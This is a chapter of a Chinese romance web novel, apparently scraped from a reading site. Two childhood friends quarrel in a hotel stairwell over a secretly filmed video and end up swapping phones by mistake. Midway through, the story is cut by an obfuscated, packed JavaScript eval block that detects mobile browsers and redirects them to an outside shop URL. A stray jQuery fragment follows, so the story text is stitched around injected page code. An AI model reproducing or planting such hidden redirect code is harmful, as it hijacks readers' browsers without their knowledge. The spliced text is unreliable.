厚重的铁门猛地被人从外推开。
一个酒店员工捏着打火机刚打着火,抬头便撞见僵持的两人。那人一愣,立刻识趣地退了出去,顺手把门无声地带上。
蒋颂山没分心去看,注意力始终在申绾身上。她眼里的怒意正盛,唇角抿得发白,倔强的神情里藏着明显的不信任。
“我又哪儿得罪你了?”他阖下眼,淡声问,“空口白牙就说我使坏,我还说你冤枉我呢。”
一个大男人动不动就喊冤,不见兔子不撒鹰的家伙!
申绾眼里的火苗都快窜出来了。
她从包里抽出李向玖的名片,举到蒋颂山眼前:“半小时前,就在一楼大堂,我前脚看见他对你秘书献殷勤,后脚就找到我说些莫名其妙的话。
你敢说不认识他?”
李向玖那么笃定她能跟潘赛求情,这本身就有猫腻。况且蒋颂山捣乱的前科累累,她没法不往坏处联想。
蒋颂山手掌探进裤兜,指腹触到那只缺了腿的墨镜。葆蝶家BV1012S,申绾大二那年送他的生日礼物,刚才救人的时候镜腿被压断了。稍稍用力,金属镜腿就被捏得咔哒作响。
默了几秒,他才沉声反问:“他跟你说什么了?那人心术不正,油腔滑调,你离他远点儿。”
“那你是承认了?”申绾干巴巴地出声。
她其实并无实据,心里虚得发紧,只是想诈他一诈。
可这反应……他竟不否认?
就在这时,她掌心忽然一震。下意识抬腕看去,锁屏界面先弹出发信人的备注:梁徒。
紧接着是半截消息预览:【亨元竞技的经纪人阿宽已联系李向玖谈中介费用,今晚下班前可以出……】
亨元竞技是潘赛运动员时期的老东家,梁徒的消息又直接扯上李向玖。这分明证实了蒋颂山和李向玖之间确有往来。
“说我空口白牙冤枉你?这就是证据。”申绾读了一遍短信。
蒋颂山伸手要拿回手机,被她一巴掌拍开:“我看你还怎么狡辩!”
手背发麻,被气得右眼皮跳个不停。他抬手摁住,闷出一句:“反正我说什么你都不信。再说了,看别人消息只看半截,你礼貌吗?”
“你心虚了。”
他还要再抢,申绾却反手将手机藏到身后,张口质问:“你说李向玖不是好人,那你呢?你们俩沆瀣一气,是一伙的!”
蒋颂山傻眼了,根本来不及说话。
就听到申绾轻轻哼了一声。
她字字如锤:“你知道潘赛在新剧组过得如鱼得水,知道恋综未播的内容,甚至连他下部剧有多少亲密戏都一清二楚。
蒋大山,你未免也太关注潘赛了。直说吧,那段偷拍的视频,是不是你指使李向玖干的?”
质问声落下,声控灯仿佛打配合似的,也随之熄灭。
整个空间像凝固的汽油桶。
黑暗里,再次传来熟悉的咔哒声。规律,但听着烦躁。
蒋颂山杵在那儿也不说话。
良久,申绾耐心告罄:“你哑巴了?是或者不是,有那么难回答吗?”
“不是不是!”蒋颂山率先败下阵来。
接二连三地被质疑和冤枉,他语气有些幽怨:“能不能别瞪我了。你着什么急,我调节一下情绪还不行吗?”
……个倔祖宗,见面必找茬,不见还想得慌。
蒋颂山习惯性让步,无奈解释着:“我是星源传媒的老板,清楚那个谁的工作行程不算什么。”
申绾马上提出质疑:“你是星源的老板,那汪际白是什么?”
她清楚地记得,去年潘赛旧伤复发,不得不退役转型。还是汪际白主动联系,拍板同意潘赛进的星源。
“而且,你们蒋家不是做车企的吗?”
“谁说公司只能有一个老板的?”蒋颂山虚倚在楼梯扶手上,肩膀塌陷了些,不情不愿道,“我是二老板。汪际白死乞白赖拉我投资来着。”
申绾脑子叮的一下,倏然想起方才蒋颂山那句“娱乐圈的事儿我打听起来不难”。
她先前只当他是通过汪际白打听到潘赛的动向,竟半点没往合伙人这边猜。
“至于那个视频,你可冤枉死我了。是李向玖跟亨元有经济纠纷,那狗东西拿不到佣金,就偷拍视频蓄意报复潘赛。”蒋颂山边说边偷偷看了眼申绾的表情,倾身过去,在她耳边补刀,“说白了,苍蝇不叮无缝的蛋,都怪你那大明星男友行事不检点,被人抓了把柄。”
“那是我未婚夫——”申绾反驳了一句,后面维护的话卡在嘴边,一个字也说不出来。
她还有些沉浸在蒋颂山能轻松拿捏潘赛的冲击中,脑子嗡嗡的。
没想到蒋颂山下一句话更是重磅炸弹:
“李向玖手里还有你和潘赛的订婚视频。一旦爆出来,潘赛在恋综卖cp卖得如火如荼,那人设可就崩了,预定下个月上映的电视剧也得推迟。
为了维护公司利益,我让梁徒代表星源介入、了解情况,有问题?”蒋颂山说完,视线落在她手里那两部一模一样的手机上。
楼道吹来一股森凉的穿堂风,刮到手臂上鸡皮疙瘩顿起,申绾分不清是冷的,还是被这一连串真相砸得浑身发僵。
见申绾抱臂抖了两下,像是浑身发冷。
蒋颂山站直,甩了甩外套,披在她肩上:“我们从小一起长大,就算你忘了所有人和事,但我们情分还在,你不该门缝里看我。”
……再说,我也是接受过组织思想教育的人,讲究五讲四美三热爱的好青年,坏人的事我可干不来。”
申绾被说动了,顺手拢了拢衣领,面色缓和了些。
这人居然还有这么自恋自夸的一面,她错开视线,莫名替他脸热。
正准备顺着台阶下调侃两句,掌心又传来一阵提示铃声。
这次是她的手机。
郝童心的消息跳了出来:【到哪儿了,几点能到呀?我刚做了小蛋糕,巨巨巨好吃!图片图片jpg】
蒋颂山探头过来:“梁徒又来给你‘报信’了?”
“我的消息。”申绾快速避开,遮住屏幕,不让他看。
简单扣了几个字过去就息屏,她硬着声音:“这次就算是我误会你了,我向你道歉。不过——”
她把西装外套从肩上扯下来,塞回到他手里,表明态度:“我认识潘赛四年,清楚他的为人,用不着你来评头论足。以后你要是再敢捉弄我,拿姥姥的遗言当借口插手我的事,你就试试看!”
四年前在瑞士采尔马特滑雪场,潘赛训练结束后,冒着正午松雪塌陷的危险上山,发现了事故昏迷的她。仅凭这份恩情,在外人面前她就必须护着。
听到前一句申绾松口道歉,蒋颂山还来不及高兴,就被她下一句的“试试看”堵得哑口无言。
他抬手把外套扔到积水的墙角,怒极反笑:“好样的申绾,你可真是好样的!被渣男耍得团团转,反过来倒说我多管闲事。”
“合着他在你那儿有免死金牌是吧?”他气得声音都变了调,“那我呢?从头到尾,我他妈就是个跳梁小丑?”
申绾僵着脖子,铁了心一言不发。
他背过身去,肩膀起伏了两下又猛地转回来,别开脸:“行,既然你油盐不进好赖不分……那我以后再也不管你了!”
“那最好!”申绾冷声打断,将他的手机使了个巧劲儿抛过去,“你最好说到做到!”说完扭头就走。
蒋颂山闻言仰头哂笑出声,感觉腹部中了一击,转过眼就发现申绾已越过铁门。
“诶,你等会儿!”
他话还没说完!
蒋颂山弯腰匆匆捡起地上的手机,身形刚动,还没走上几步,便被巡逻的安保堵在消防门前。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17810786|210819||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>对方是接了员工通报赶来的,态度恭敬却恪守本职:“先生,消防通道禁止逗留,烦请您移步至公共区域。”
一句话,硬生生绊住了他。
申绾等电梯的间隙,回身一瞥,蒋颂山安静地伫立在消防门后。
他长长的睫毛垂落,遮住眼里翻涌的情绪。视线相触,仿佛他漆黑的瞳孔也蒙上一层说不清道不明的阴郁感,整个人锋芒毕现。
心头猛地一紧,怕这人再缠过来,申绾慌忙进入轿厢,不敢再看。
这场谈话从一开始就有对峙的意思,不欢而散是正常的。
大家都是成年人,以后的路,各走各的,谁也别想管着谁。
-
蒋颂山攥着手机,指节泛白,目光定格在申绾圆圆的后脑勺上,暗自气闷。她今天画了淡妆,眼尾挑着一点细闪,绿色棋盘格吊带长裙收着腰,不规则的裙摆垂到脚踝。顶光斜斜地落在她脸上,晃得人有些恍惚……
从前的申绾,也没倔得这般不近人情。
“你嘛呢?电话也不接。”汪际白找他找了老半天,取消掉拨号,啧了一声:“局都散了,老黄带来的那个导演能说会道,我都快被绕晕了,干等你来救场也不来。”
这场午间局定在十一点开场。汪际白原以为他就在楼下耽搁会儿,好歹能赶个尾声,结果饭局都散场了也没见人,这才出来找。
蒋颂山没接话,一瞬不瞬地盯住电梯显示屏。数字一格一格地往下跳,他连眼都没眨。
汪际白围着他瞅了一圈,视线在好友和电梯门之间来回打转,也没看出半点端倪:“怎么着?学潘赛当艺人啊,搁这儿客串木头桩子呢?”
这人不正经惯了,蒋颂山直接忽略这句打趣。
直到电梯数字跳到17楼,他才微微闭了下眼,皙白的腕骨隐约露出袖口,随手扯松领带,任由贴合颈线的领结松垮下来。他转脸自顾自朝着原定的包厢走去,周身裹着一层低气压,明眼人都看得出他心情差到了极点。
包厢里,梁徒垂手站在一旁,大气不敢出,偷偷瞟着自家老板,又默默凑到汪际白身边低声问状况。
“你上班去吧。”汪际白朝他挥挥手,“回头你老板坐我车去公司。”
不等梁徒离开,汪际白挨着蒋颂山坐下,把饭局上自己拿捏不准的人情债说了个大概。
好半晌也不见搭腔。
他侧头看去,蒋颂山敛着眸,只顾着轻敲桌面、检查碎裂的手机屏幕,面上一派认真。
汪际白暗自腹诽。
这祖宗,指定是跟申绾学的冷暴力。话说回来,先前那通电话,他不过是好心劝了两句,谁承想会被申绾逮到。
两人安静对坐,过了一分钟,蒋颂山将手机“嗒”的一声倒扣在桌上,接上汪际白的花头,一一回了。
“在商言商,老黄的人情放一边,其他的你自己拿主意。”他拇指和食指轻揉眉心,指上力道一松,抬眼又道:“娱乐圈你比我熟。李向玖背后的画廊不简单,顺着中介费走账那条线继续挖。”
汪际白点头应下,把最近打听的消息一一说来。
聊了片刻,接连干了三杯茶,蒋颂山依旧八风不动、老神在在的,也不提走,像是在等人似的。汪际白又给他斟了一杯,若不经意地问:“刚才跟申绾吵起来了?”
蒋颂山也不瞒着,淡淡地嗯了一声,端起茶杯抿了一口。
“那你这碎屏手机,又是被车轮胎碾了?”汪际白如愿收获蒋颂山一记白眼。
“手机是申绾的,她还没发现扔错了。”他将手机重新翻回正面,眼皮都没抬,把刚才的事儿简述了下。跟着又交代,“你给我的手机打个电话,她不愿意见我。”
好重的怨念!
难怪进门就盯着手机看个没完……这手机,怕是故意没接住的吧?
汪际白叹笑一声:“你就会小发雷霆!”